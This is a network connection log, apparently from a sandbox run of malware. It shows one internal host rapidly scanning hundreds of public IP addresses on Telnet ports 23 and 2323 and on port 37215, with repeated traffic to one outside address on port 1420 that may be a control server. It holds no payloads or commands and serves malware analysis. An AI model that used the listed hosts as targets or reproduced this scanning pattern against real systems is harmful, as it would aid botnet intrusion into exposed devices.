Nov 3, 2024 15:33:07.417406082 CET	23	37768	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:07.417886019 CET	23	37770	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:07.417927980 CET	37770	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:07.898268938 CET	23	58176	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:07.898422956 CET	58176	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.898843050 CET	58266	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.903187990 CET	23	58176	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:07.903628111 CET	23	58266	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:07.903677940 CET	58266	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.908819914 CET	23	58266	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:07.908883095 CET	58266	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.908905983 CET	58266	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.909238100 CET	58268	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.913830996 CET	23	58266	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:07.914098024 CET	23	58268	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:07.914144039 CET	58268	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.925225973 CET	23	58268	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:07.925287008 CET	58268	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.925605059 CET	58270	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.930186987 CET	23	58268	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:07.930896997 CET	23	58270	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:07.930943012 CET	58270	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.028278112 CET	34154	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:08.033118963 CET	1420	34154	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:08.033169985 CET	34154	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:08.033900023 CET	34154	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:08.038456917 CET	1420	34154	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:08.038520098 CET	34154	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:08.040127993 CET	1420	34154	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:08.043296099 CET	1420	34154	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:08.125125885 CET	44788	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:08.125129938 CET	58286	23	192.168.2.14	149.152.23.218
Nov 3, 2024 15:33:08.125130892 CET	54836	23	192.168.2.14	144.82.75.132
Nov 3, 2024 15:33:08.125130892 CET	34996	23	192.168.2.14	133.16.228.85
Nov 3, 2024 15:33:08.125132084 CET	37256	37215	192.168.2.14	41.104.63.38
Nov 3, 2024 15:33:08.125132084 CET	45690	37215	192.168.2.14	41.247.161.60
Nov 3, 2024 15:33:08.125133991 CET	52638	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:08.125132084 CET	52968	23	192.168.2.14	182.72.169.201
Nov 3, 2024 15:33:08.125133991 CET	52016	37215	192.168.2.14	41.37.66.5
Nov 3, 2024 15:33:08.125135899 CET	46586	23	192.168.2.14	122.80.73.254
Nov 3, 2024 15:33:08.125135899 CET	35530	37215	192.168.2.14	41.196.236.180
Nov 3, 2024 15:33:08.125135899 CET	59082	23	192.168.2.14	39.199.141.240
Nov 3, 2024 15:33:08.125133991 CET	33438	23	192.168.2.14	120.177.102.56
Nov 3, 2024 15:33:08.125161886 CET	46308	23	192.168.2.14	61.249.130.155
Nov 3, 2024 15:33:08.125164986 CET	36386	23	192.168.2.14	174.221.250.49
Nov 3, 2024 15:33:08.125166893 CET	58602	2323	192.168.2.14	27.214.85.5
Nov 3, 2024 15:33:08.125168085 CET	58192	23	192.168.2.14	121.12.149.163
Nov 3, 2024 15:33:08.125168085 CET	45970	37215	192.168.2.14	156.150.29.143
Nov 3, 2024 15:33:08.130101919 CET	23	58286	149.152.23.218	192.168.2.14
Nov 3, 2024 15:33:08.130114079 CET	2323	44788	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:08.130124092 CET	23	52638	9.207.19.141	192.168.2.14
Nov 3, 2024 15:33:08.130135059 CET	23	54836	144.82.75.132	192.168.2.14
Nov 3, 2024 15:33:08.130143881 CET	23	46586	122.80.73.254	192.168.2.14
Nov 3, 2024 15:33:08.130156994 CET	58286	23	192.168.2.14	149.152.23.218
Nov 3, 2024 15:33:08.130161047 CET	37215	37256	41.104.63.38	192.168.2.14
Nov 3, 2024 15:33:08.130162001 CET	44788	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:08.130166054 CET	54836	23	192.168.2.14	144.82.75.132
Nov 3, 2024 15:33:08.130170107 CET	52638	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:08.130171061 CET	23	34996	133.16.228.85	192.168.2.14
Nov 3, 2024 15:33:08.130182981 CET	37215	52016	41.37.66.5	192.168.2.14
Nov 3, 2024 15:33:08.130184889 CET	46586	23	192.168.2.14	122.80.73.254
Nov 3, 2024 15:33:08.130193949 CET	37215	35530	41.196.236.180	192.168.2.14
Nov 3, 2024 15:33:08.130204916 CET	37215	45690	41.247.161.60	192.168.2.14
Nov 3, 2024 15:33:08.130211115 CET	37256	37215	192.168.2.14	41.104.63.38
Nov 3, 2024 15:33:08.130218029 CET	52016	37215	192.168.2.14	41.37.66.5
Nov 3, 2024 15:33:08.130232096 CET	35530	37215	192.168.2.14	41.196.236.180
Nov 3, 2024 15:33:08.130235910 CET	45690	37215	192.168.2.14	41.247.161.60
Nov 3, 2024 15:33:08.130254984 CET	34996	23	192.168.2.14	133.16.228.85
Nov 3, 2024 15:33:08.130264997 CET	4833	2323	192.168.2.14	168.229.172.43
Nov 3, 2024 15:33:08.130270958 CET	4833	23	192.168.2.14	62.89.199.101
Nov 3, 2024 15:33:08.130281925 CET	4833	23	192.168.2.14	203.247.80.159
Nov 3, 2024 15:33:08.130286932 CET	4833	23	192.168.2.14	2.124.16.229
Nov 3, 2024 15:33:08.130295992 CET	4833	23	192.168.2.14	61.209.48.55
Nov 3, 2024 15:33:08.130300045 CET	4833	23	192.168.2.14	74.69.229.25
Nov 3, 2024 15:33:08.130309105 CET	4833	23	192.168.2.14	143.255.29.143
Nov 3, 2024 15:33:08.130309105 CET	4833	23	192.168.2.14	139.171.249.122
Nov 3, 2024 15:33:08.130350113 CET	4847	37215	192.168.2.14	197.222.130.234
Nov 3, 2024 15:33:08.130351067 CET	4847	37215	192.168.2.14	197.200.127.154
Nov 3, 2024 15:33:08.130357981 CET	4833	23	192.168.2.14	128.243.125.20
Nov 3, 2024 15:33:08.130358934 CET	4833	23	192.168.2.14	119.78.111.22
Nov 3, 2024 15:33:08.130362988 CET	4847	37215	192.168.2.14	197.53.160.110
Nov 3, 2024 15:33:08.130362988 CET	4847	37215	192.168.2.14	41.14.57.126
Nov 3, 2024 15:33:08.130371094 CET	4833	2323	192.168.2.14	79.189.72.51
Nov 3, 2024 15:33:08.130372047 CET	4847	37215	192.168.2.14	41.14.37.113
Nov 3, 2024 15:33:08.130372047 CET	4833	23	192.168.2.14	172.51.142.115
Nov 3, 2024 15:33:08.130377054 CET	23	59082	39.199.141.240	192.168.2.14
Nov 3, 2024 15:33:08.130382061 CET	4847	37215	192.168.2.14	197.12.141.193
Nov 3, 2024 15:33:08.130383015 CET	4847	37215	192.168.2.14	156.58.196.76
Nov 3, 2024 15:33:08.130384922 CET	4847	37215	192.168.2.14	156.244.104.217
Nov 3, 2024 15:33:08.130387068 CET	4833	23	192.168.2.14	161.186.228.88
Nov 3, 2024 15:33:08.130387068 CET	4847	37215	192.168.2.14	41.156.32.14
Nov 3, 2024 15:33:08.130388021 CET	4833	23	192.168.2.14	210.243.52.220
Nov 3, 2024 15:33:08.130388975 CET	23	33438	120.177.102.56	192.168.2.14
Nov 3, 2024 15:33:08.130387068 CET	4833	23	192.168.2.14	162.148.92.79
Nov 3, 2024 15:33:08.130395889 CET	4847	37215	192.168.2.14	197.40.97.9
Nov 3, 2024 15:33:08.130395889 CET	4847	37215	192.168.2.14	41.73.145.143
Nov 3, 2024 15:33:08.130397081 CET	4833	23	192.168.2.14	36.170.138.102
Nov 3, 2024 15:33:08.130398035 CET	4833	23	192.168.2.14	58.141.245.145
Nov 3, 2024 15:33:08.130398035 CET	4847	37215	192.168.2.14	156.173.6.170
Nov 3, 2024 15:33:08.130400896 CET	23	52968	182.72.169.201	192.168.2.14
Nov 3, 2024 15:33:08.130402088 CET	4833	23	192.168.2.14	200.158.220.110
Nov 3, 2024 15:33:08.130402088 CET	4847	37215	192.168.2.14	156.141.61.80
Nov 3, 2024 15:33:08.130410910 CET	4833	23	192.168.2.14	114.45.218.172
Nov 3, 2024 15:33:08.130410910 CET	4847	37215	192.168.2.14	156.1.212.225
Nov 3, 2024 15:33:08.130413055 CET	4833	23	192.168.2.14	197.151.98.155
Nov 3, 2024 15:33:08.130413055 CET	4847	37215	192.168.2.14	156.230.176.53
Nov 3, 2024 15:33:08.130413055 CET	4847	37215	192.168.2.14	197.13.1.213
Nov 3, 2024 15:33:08.130414009 CET	4847	37215	192.168.2.14	156.116.193.70
Nov 3, 2024 15:33:08.130429029 CET	59082	23	192.168.2.14	39.199.141.240
Nov 3, 2024 15:33:08.130429029 CET	4847	37215	192.168.2.14	41.216.165.232
Nov 3, 2024 15:33:08.130430937 CET	23	46308	61.249.130.155	192.168.2.14
Nov 3, 2024 15:33:08.130431890 CET	33438	23	192.168.2.14	120.177.102.56
Nov 3, 2024 15:33:08.130436897 CET	4833	23	192.168.2.14	68.236.201.84
Nov 3, 2024 15:33:08.130440950 CET	4847	37215	192.168.2.14	41.78.4.178
Nov 3, 2024 15:33:08.130440950 CET	2323	58602	27.214.85.5	192.168.2.14
Nov 3, 2024 15:33:08.130441904 CET	4833	2323	192.168.2.14	182.136.231.202
Nov 3, 2024 15:33:08.130440950 CET	4847	37215	192.168.2.14	197.152.180.44
Nov 3, 2024 15:33:08.130445957 CET	4833	23	192.168.2.14	76.115.188.180
Nov 3, 2024 15:33:08.130459070 CET	4847	37215	192.168.2.14	156.134.16.37
Nov 3, 2024 15:33:08.130462885 CET	52968	23	192.168.2.14	182.72.169.201
Nov 3, 2024 15:33:08.130464077 CET	4847	37215	192.168.2.14	197.150.8.47
Nov 3, 2024 15:33:08.130465031 CET	23	58192	121.12.149.163	192.168.2.14
Nov 3, 2024 15:33:08.130465031 CET	4833	23	192.168.2.14	67.119.103.34
Nov 3, 2024 15:33:08.130475998 CET	37215	45970	156.150.29.143	192.168.2.14
Nov 3, 2024 15:33:08.130481958 CET	4833	23	192.168.2.14	190.190.253.252
Nov 3, 2024 15:33:08.130481958 CET	4847	37215	192.168.2.14	156.59.172.146
Nov 3, 2024 15:33:08.130481958 CET	46308	23	192.168.2.14	61.249.130.155
Nov 3, 2024 15:33:08.130496979 CET	4833	23	192.168.2.14	121.133.142.217
Nov 3, 2024 15:33:08.130497932 CET	4847	37215	192.168.2.14	197.115.157.163
Nov 3, 2024 15:33:08.130497932 CET	4847	37215	192.168.2.14	41.131.168.114
Nov 3, 2024 15:33:08.130497932 CET	4833	23	192.168.2.14	67.9.57.200
Nov 3, 2024 15:33:08.130497932 CET	58602	2323	192.168.2.14	27.214.85.5
Nov 3, 2024 15:33:08.130500078 CET	4847	37215	192.168.2.14	197.231.175.205
Nov 3, 2024 15:33:08.130500078 CET	4833	2323	192.168.2.14	222.174.70.21
Nov 3, 2024 15:33:08.130500078 CET	4847	37215	192.168.2.14	41.12.119.57
Nov 3, 2024 15:33:08.130501986 CET	4847	37215	192.168.2.14	156.82.240.185
Nov 3, 2024 15:33:08.130501986 CET	4847	37215	192.168.2.14	197.121.141.219
Nov 3, 2024 15:33:08.130502939 CET	4833	23	192.168.2.14	42.243.93.75
Nov 3, 2024 15:33:08.130506992 CET	4847	37215	192.168.2.14	197.150.123.29
Nov 3, 2024 15:33:08.130506992 CET	4847	37215	192.168.2.14	197.126.90.155
Nov 3, 2024 15:33:08.130506992 CET	4847	37215	192.168.2.14	156.208.20.150
Nov 3, 2024 15:33:08.130506992 CET	4847	37215	192.168.2.14	156.176.98.99
Nov 3, 2024 15:33:08.130506992 CET	4847	37215	192.168.2.14	156.47.163.84
Nov 3, 2024 15:33:08.130506992 CET	4847	37215	192.168.2.14	41.164.9.107
Nov 3, 2024 15:33:08.130520105 CET	4847	37215	192.168.2.14	156.3.160.114
Nov 3, 2024 15:33:08.130544901 CET	4847	37215	192.168.2.14	41.60.35.148
Nov 3, 2024 15:33:08.130544901 CET	4847	37215	192.168.2.14	197.79.136.73
Nov 3, 2024 15:33:08.130544901 CET	4847	37215	192.168.2.14	197.245.81.239
Nov 3, 2024 15:33:08.130544901 CET	4847	37215	192.168.2.14	41.105.59.147
Nov 3, 2024 15:33:08.130547047 CET	4833	23	192.168.2.14	207.26.91.208
Nov 3, 2024 15:33:08.130547047 CET	4833	23	192.168.2.14	77.213.92.97
Nov 3, 2024 15:33:08.130547047 CET	4847	37215	192.168.2.14	197.247.245.145
Nov 3, 2024 15:33:08.130548000 CET	4847	37215	192.168.2.14	41.113.199.222
Nov 3, 2024 15:33:08.130548000 CET	4833	23	192.168.2.14	161.170.50.8
Nov 3, 2024 15:33:08.130547047 CET	4847	37215	192.168.2.14	41.93.39.91
Nov 3, 2024 15:33:08.130547047 CET	4847	37215	192.168.2.14	197.157.157.132
Nov 3, 2024 15:33:08.130548000 CET	4833	23	192.168.2.14	195.120.8.22
Nov 3, 2024 15:33:08.130548000 CET	4833	23	192.168.2.14	163.40.7.52
Nov 3, 2024 15:33:08.130547047 CET	4847	37215	192.168.2.14	197.52.107.98
Nov 3, 2024 15:33:08.130548000 CET	4833	23	192.168.2.14	157.172.161.206
Nov 3, 2024 15:33:08.130547047 CET	4847	37215	192.168.2.14	41.30.235.80
Nov 3, 2024 15:33:08.130547047 CET	4847	37215	192.168.2.14	197.210.255.254
Nov 3, 2024 15:33:08.130547047 CET	4847	37215	192.168.2.14	156.131.48.10
Nov 3, 2024 15:33:08.130548000 CET	4847	37215	192.168.2.14	197.81.244.58
Nov 3, 2024 15:33:08.130548000 CET	4833	23	192.168.2.14	5.40.141.100
Nov 3, 2024 15:33:08.130548000 CET	4847	37215	192.168.2.14	156.31.134.204
Nov 3, 2024 15:33:08.130547047 CET	4847	37215	192.168.2.14	156.80.141.181
Nov 3, 2024 15:33:08.130548000 CET	4847	37215	192.168.2.14	156.152.23.96
Nov 3, 2024 15:33:08.130548000 CET	4847	37215	192.168.2.14	41.17.214.169
Nov 3, 2024 15:33:08.130589008 CET	4833	23	192.168.2.14	108.146.6.112
Nov 3, 2024 15:33:08.130589008 CET	4833	23	192.168.2.14	177.107.116.11
Nov 3, 2024 15:33:08.130589008 CET	4833	23	192.168.2.14	167.46.146.136
Nov 3, 2024 15:33:08.130595922 CET	4833	23	192.168.2.14	35.70.130.34
Nov 3, 2024 15:33:08.130595922 CET	4847	37215	192.168.2.14	41.253.66.107
Nov 3, 2024 15:33:08.130595922 CET	4833	23	192.168.2.14	201.224.147.68
Nov 3, 2024 15:33:08.130598068 CET	4847	37215	192.168.2.14	156.205.206.204
Nov 3, 2024 15:33:08.130597115 CET	4847	37215	192.168.2.14	197.66.200.31
Nov 3, 2024 15:33:08.130599022 CET	4847	37215	192.168.2.14	156.37.43.11
Nov 3, 2024 15:33:08.130597115 CET	4847	37215	192.168.2.14	197.166.81.210
Nov 3, 2024 15:33:08.130598068 CET	58192	23	192.168.2.14	121.12.149.163
Nov 3, 2024 15:33:08.130598068 CET	4847	37215	192.168.2.14	197.27.80.55
Nov 3, 2024 15:33:08.130598068 CET	4847	37215	192.168.2.14	197.145.209.166
Nov 3, 2024 15:33:08.130598068 CET	4833	23	192.168.2.14	63.181.184.220
Nov 3, 2024 15:33:08.130598068 CET	45970	37215	192.168.2.14	156.150.29.143
Nov 3, 2024 15:33:08.130599022 CET	4833	23	192.168.2.14	153.228.138.74
Nov 3, 2024 15:33:08.130597115 CET	4847	37215	192.168.2.14	41.132.159.117
Nov 3, 2024 15:33:08.130598068 CET	4847	37215	192.168.2.14	41.243.208.136
Nov 3, 2024 15:33:08.130598068 CET	4847	37215	192.168.2.14	156.138.43.29
Nov 3, 2024 15:33:08.130595922 CET	4847	37215	192.168.2.14	41.51.232.218
Nov 3, 2024 15:33:08.130598068 CET	4833	23	192.168.2.14	200.222.5.189
Nov 3, 2024 15:33:08.130598068 CET	4833	23	192.168.2.14	161.185.143.146
Nov 3, 2024 15:33:08.130598068 CET	4847	37215	192.168.2.14	197.147.162.181
Nov 3, 2024 15:33:08.130598068 CET	4833	23	192.168.2.14	23.252.63.189
Nov 3, 2024 15:33:08.130598068 CET	4833	23	192.168.2.14	81.131.145.177
Nov 3, 2024 15:33:08.130598068 CET	4847	37215	192.168.2.14	41.183.36.45
Nov 3, 2024 15:33:08.130598068 CET	4847	37215	192.168.2.14	41.142.65.92
Nov 3, 2024 15:33:08.130598068 CET	4847	37215	192.168.2.14	41.119.229.15
Nov 3, 2024 15:33:08.130598068 CET	4833	23	192.168.2.14	5.254.212.195
Nov 3, 2024 15:33:08.130598068 CET	4847	37215	192.168.2.14	197.34.28.117
Nov 3, 2024 15:33:08.130598068 CET	4833	2323	192.168.2.14	88.50.84.125
Nov 3, 2024 15:33:08.130598068 CET	4847	37215	192.168.2.14	197.248.221.197
Nov 3, 2024 15:33:08.130598068 CET	4847	37215	192.168.2.14	197.79.238.138
Nov 3, 2024 15:33:08.130598068 CET	4847	37215	192.168.2.14	156.199.188.63
Nov 3, 2024 15:33:08.130635023 CET	4847	37215	192.168.2.14	156.18.253.186
Nov 3, 2024 15:33:08.130635023 CET	4833	23	192.168.2.14	142.101.115.38
Nov 3, 2024 15:33:08.130635023 CET	4847	37215	192.168.2.14	41.105.208.141
Nov 3, 2024 15:33:08.130635023 CET	4833	23	192.168.2.14	13.61.35.146
Nov 3, 2024 15:33:08.130635023 CET	4833	23	192.168.2.14	198.201.106.167
Nov 3, 2024 15:33:08.130635977 CET	4847	37215	192.168.2.14	41.158.70.77
Nov 3, 2024 15:33:08.130635977 CET	4833	23	192.168.2.14	85.29.154.46
Nov 3, 2024 15:33:08.130635977 CET	4833	23	192.168.2.14	62.143.68.142
Nov 3, 2024 15:33:08.130640030 CET	4847	37215	192.168.2.14	156.59.20.217
Nov 3, 2024 15:33:08.130640030 CET	4833	23	192.168.2.14	20.26.48.111
Nov 3, 2024 15:33:08.130642891 CET	4833	23	192.168.2.14	195.189.97.190
Nov 3, 2024 15:33:08.130642891 CET	4833	23	192.168.2.14	218.161.93.1
Nov 3, 2024 15:33:08.130644083 CET	4847	37215	192.168.2.14	156.246.234.138
Nov 3, 2024 15:33:08.130644083 CET	4833	23	192.168.2.14	193.141.249.230
Nov 3, 2024 15:33:08.130644083 CET	4847	37215	192.168.2.14	41.92.169.174
Nov 3, 2024 15:33:08.130645037 CET	4833	2323	192.168.2.14	194.251.9.222
Nov 3, 2024 15:33:08.130644083 CET	4847	37215	192.168.2.14	41.42.79.55
Nov 3, 2024 15:33:08.130645990 CET	4847	37215	192.168.2.14	156.71.220.216
Nov 3, 2024 15:33:08.130647898 CET	4833	23	192.168.2.14	67.25.28.5
Nov 3, 2024 15:33:08.130644083 CET	4847	37215	192.168.2.14	156.122.114.56
Nov 3, 2024 15:33:08.130647898 CET	4847	37215	192.168.2.14	197.172.42.43
Nov 3, 2024 15:33:08.130645990 CET	4847	37215	192.168.2.14	41.109.95.106
Nov 3, 2024 15:33:08.130650997 CET	4847	37215	192.168.2.14	197.127.170.164
Nov 3, 2024 15:33:08.130647898 CET	4847	37215	192.168.2.14	197.14.160.4
Nov 3, 2024 15:33:08.130645990 CET	4833	23	192.168.2.14	182.107.95.122
Nov 3, 2024 15:33:08.130650997 CET	4847	37215	192.168.2.14	197.53.42.144
Nov 3, 2024 15:33:08.130647898 CET	4833	2323	192.168.2.14	145.102.151.223
Nov 3, 2024 15:33:08.130651951 CET	4847	37215	192.168.2.14	41.238.29.8
Nov 3, 2024 15:33:08.130650997 CET	4847	37215	192.168.2.14	197.133.137.102
Nov 3, 2024 15:33:08.130647898 CET	4833	23	192.168.2.14	4.28.202.41
Nov 3, 2024 15:33:08.130650997 CET	4847	37215	192.168.2.14	41.106.213.136
Nov 3, 2024 15:33:08.130651951 CET	4847	37215	192.168.2.14	156.205.53.190
Nov 3, 2024 15:33:08.130647898 CET	4847	37215	192.168.2.14	197.180.241.201
Nov 3, 2024 15:33:08.130650997 CET	4847	37215	192.168.2.14	156.236.74.17
Nov 3, 2024 15:33:08.130647898 CET	4833	23	192.168.2.14	151.149.56.140
Nov 3, 2024 15:33:08.130651951 CET	4833	23	192.168.2.14	76.198.49.201
Nov 3, 2024 15:33:08.130647898 CET	4833	23	192.168.2.14	99.170.197.207
Nov 3, 2024 15:33:08.130651951 CET	4847	37215	192.168.2.14	197.210.178.167
Nov 3, 2024 15:33:08.130651951 CET	4847	37215	192.168.2.14	156.25.2.6
Nov 3, 2024 15:33:08.130651951 CET	4833	23	192.168.2.14	201.169.208.184
Nov 3, 2024 15:33:08.130651951 CET	4833	23	192.168.2.14	46.100.8.150
Nov 3, 2024 15:33:08.130665064 CET	4847	37215	192.168.2.14	156.157.192.71
Nov 3, 2024 15:33:08.130707026 CET	4833	23	192.168.2.14	69.217.220.85
Nov 3, 2024 15:33:08.130707026 CET	4833	23	192.168.2.14	85.110.19.241
Nov 3, 2024 15:33:08.130707979 CET	4833	23	192.168.2.14	125.164.240.163
Nov 3, 2024 15:33:08.130707026 CET	4833	23	192.168.2.14	65.225.75.230
Nov 3, 2024 15:33:08.130707979 CET	4833	23	192.168.2.14	70.195.104.142
Nov 3, 2024 15:33:08.130707026 CET	4847	37215	192.168.2.14	41.140.98.238
Nov 3, 2024 15:33:08.130707979 CET	4847	37215	192.168.2.14	41.113.18.207
Nov 3, 2024 15:33:08.130707979 CET	4847	37215	192.168.2.14	41.199.241.151
Nov 3, 2024 15:33:08.130707979 CET	4833	23	192.168.2.14	104.96.106.135
Nov 3, 2024 15:33:08.130709887 CET	4833	23	192.168.2.14	181.124.137.148
Nov 3, 2024 15:33:08.130709887 CET	4847	37215	192.168.2.14	197.171.93.170
Nov 3, 2024 15:33:08.130709887 CET	4847	37215	192.168.2.14	197.160.231.247
Nov 3, 2024 15:33:08.130711079 CET	4847	37215	192.168.2.14	156.239.112.113
Nov 3, 2024 15:33:08.130709887 CET	4833	23	192.168.2.14	196.112.103.89
Nov 3, 2024 15:33:08.130711079 CET	4847	37215	192.168.2.14	156.58.171.41
Nov 3, 2024 15:33:08.130709887 CET	4847	37215	192.168.2.14	41.17.215.47
Nov 3, 2024 15:33:08.130712032 CET	4833	23	192.168.2.14	223.175.34.81
Nov 3, 2024 15:33:08.130709887 CET	4847	37215	192.168.2.14	197.47.91.84
Nov 3, 2024 15:33:08.130711079 CET	4833	2323	192.168.2.14	198.201.84.175
Nov 3, 2024 15:33:08.130712032 CET	4847	37215	192.168.2.14	156.228.61.200
Nov 3, 2024 15:33:08.130711079 CET	4847	37215	192.168.2.14	41.72.157.164
Nov 3, 2024 15:33:08.130712032 CET	4833	23	192.168.2.14	198.203.133.246
Nov 3, 2024 15:33:08.130717039 CET	23	36386	174.221.250.49	192.168.2.14
Nov 3, 2024 15:33:08.130712032 CET	4847	37215	192.168.2.14	156.133.90.141
Nov 3, 2024 15:33:08.130711079 CET	4847	37215	192.168.2.14	197.225.39.93
Nov 3, 2024 15:33:08.130712032 CET	4847	37215	192.168.2.14	156.231.96.243
Nov 3, 2024 15:33:08.130712986 CET	4833	2323	192.168.2.14	179.96.220.164
Nov 3, 2024 15:33:08.130712032 CET	4847	37215	192.168.2.14	156.164.181.168
Nov 3, 2024 15:33:08.130712986 CET	4833	23	192.168.2.14	115.134.104.177
Nov 3, 2024 15:33:08.130712032 CET	4833	23	192.168.2.14	13.208.171.34
Nov 3, 2024 15:33:08.130712986 CET	4847	37215	192.168.2.14	41.216.184.97
Nov 3, 2024 15:33:08.130712032 CET	4833	23	192.168.2.14	64.228.222.161
Nov 3, 2024 15:33:08.130712986 CET	4847	37215	192.168.2.14	41.193.4.223
Nov 3, 2024 15:33:08.130709887 CET	4847	37215	192.168.2.14	156.9.226.184
Nov 3, 2024 15:33:08.130712032 CET	4847	37215	192.168.2.14	156.94.83.195
Nov 3, 2024 15:33:08.130712986 CET	4847	37215	192.168.2.14	156.155.189.248
Nov 3, 2024 15:33:08.130712032 CET	4847	37215	192.168.2.14	197.173.135.131
Nov 3, 2024 15:33:08.130709887 CET	4847	37215	192.168.2.14	197.134.204.136
Nov 3, 2024 15:33:08.130712032 CET	4833	23	192.168.2.14	12.74.232.174
Nov 3, 2024 15:33:08.130712986 CET	4833	23	192.168.2.14	153.34.139.56
Nov 3, 2024 15:33:08.130712032 CET	4833	23	192.168.2.14	211.27.24.57
Nov 3, 2024 15:33:08.130712986 CET	4847	37215	192.168.2.14	41.199.237.62
Nov 3, 2024 15:33:08.130712032 CET	4833	23	192.168.2.14	136.150.46.33
Nov 3, 2024 15:33:08.130712032 CET	4847	37215	192.168.2.14	156.227.182.3
Nov 3, 2024 15:33:08.130712032 CET	4847	37215	192.168.2.14	156.234.205.114
Nov 3, 2024 15:33:08.130738974 CET	4847	37215	192.168.2.14	41.244.10.102
Nov 3, 2024 15:33:08.130738974 CET	4847	37215	192.168.2.14	197.93.46.189
Nov 3, 2024 15:33:08.130738974 CET	4847	37215	192.168.2.14	197.187.203.69
Nov 3, 2024 15:33:08.130738974 CET	4847	37215	192.168.2.14	197.146.188.5
Nov 3, 2024 15:33:08.130738974 CET	4833	23	192.168.2.14	161.68.173.248
Nov 3, 2024 15:33:08.130738974 CET	4847	37215	192.168.2.14	41.11.224.22
Nov 3, 2024 15:33:08.130738974 CET	4847	37215	192.168.2.14	197.49.118.17
Nov 3, 2024 15:33:08.130738974 CET	4833	23	192.168.2.14	91.240.213.42
Nov 3, 2024 15:33:08.130753994 CET	4847	37215	192.168.2.14	197.72.113.124
Nov 3, 2024 15:33:08.130753994 CET	4833	23	192.168.2.14	54.18.25.155
Nov 3, 2024 15:33:08.130753994 CET	4847	37215	192.168.2.14	41.7.117.196
Nov 3, 2024 15:33:08.130753994 CET	4847	37215	192.168.2.14	156.232.2.149
Nov 3, 2024 15:33:08.130753994 CET	4833	23	192.168.2.14	114.94.194.84
Nov 3, 2024 15:33:08.130753994 CET	4847	37215	192.168.2.14	197.69.149.59
Nov 3, 2024 15:33:08.130759954 CET	4833	23	192.168.2.14	66.219.230.49
Nov 3, 2024 15:33:08.130759954 CET	4847	37215	192.168.2.14	41.176.150.76
Nov 3, 2024 15:33:08.130760908 CET	4847	37215	192.168.2.14	41.182.47.96
Nov 3, 2024 15:33:08.130760908 CET	4847	37215	192.168.2.14	41.80.138.108
Nov 3, 2024 15:33:08.130760908 CET	4833	23	192.168.2.14	146.70.174.142
Nov 3, 2024 15:33:08.130760908 CET	4833	23	192.168.2.14	188.66.50.106
Nov 3, 2024 15:33:08.130760908 CET	4833	2323	192.168.2.14	106.22.231.101
Nov 3, 2024 15:33:08.130760908 CET	4847	37215	192.168.2.14	197.79.73.241
Nov 3, 2024 15:33:08.130760908 CET	4847	37215	192.168.2.14	197.16.207.20
Nov 3, 2024 15:33:08.130764008 CET	4847	37215	192.168.2.14	41.153.66.166
Nov 3, 2024 15:33:08.130764008 CET	4833	2323	192.168.2.14	44.140.25.179
Nov 3, 2024 15:33:08.130764008 CET	4847	37215	192.168.2.14	197.25.124.99
Nov 3, 2024 15:33:08.130764961 CET	4833	23	192.168.2.14	203.73.159.186
Nov 3, 2024 15:33:08.130764961 CET	4833	23	192.168.2.14	221.102.51.56
Nov 3, 2024 15:33:08.130764961 CET	4847	37215	192.168.2.14	197.44.137.134
Nov 3, 2024 15:33:08.130764961 CET	4847	37215	192.168.2.14	197.161.52.227
Nov 3, 2024 15:33:08.130764961 CET	4833	23	192.168.2.14	172.9.47.114
Nov 3, 2024 15:33:08.130765915 CET	4833	23	192.168.2.14	154.105.247.16
Nov 3, 2024 15:33:08.130764961 CET	4833	23	192.168.2.14	209.240.132.40
Nov 3, 2024 15:33:08.130765915 CET	4847	37215	192.168.2.14	197.102.77.46
Nov 3, 2024 15:33:08.130765915 CET	4847	37215	192.168.2.14	156.15.206.164
Nov 3, 2024 15:33:08.130765915 CET	4833	23	192.168.2.14	182.171.76.240
Nov 3, 2024 15:33:08.130765915 CET	4847	37215	192.168.2.14	41.8.2.241
Nov 3, 2024 15:33:08.130768061 CET	4847	37215	192.168.2.14	156.4.70.177
Nov 3, 2024 15:33:08.130765915 CET	4833	23	192.168.2.14	41.242.148.65
Nov 3, 2024 15:33:08.130768061 CET	4847	37215	192.168.2.14	41.120.170.133
Nov 3, 2024 15:33:08.130768061 CET	4847	37215	192.168.2.14	41.175.140.87
Nov 3, 2024 15:33:08.130768061 CET	4833	2323	192.168.2.14	100.46.208.124
Nov 3, 2024 15:33:08.130768061 CET	4833	23	192.168.2.14	1.221.134.21
Nov 3, 2024 15:33:08.130769014 CET	4847	37215	192.168.2.14	156.75.77.244
Nov 3, 2024 15:33:08.130769014 CET	4847	37215	192.168.2.14	156.190.250.217
Nov 3, 2024 15:33:08.130808115 CET	4847	37215	192.168.2.14	41.40.50.138
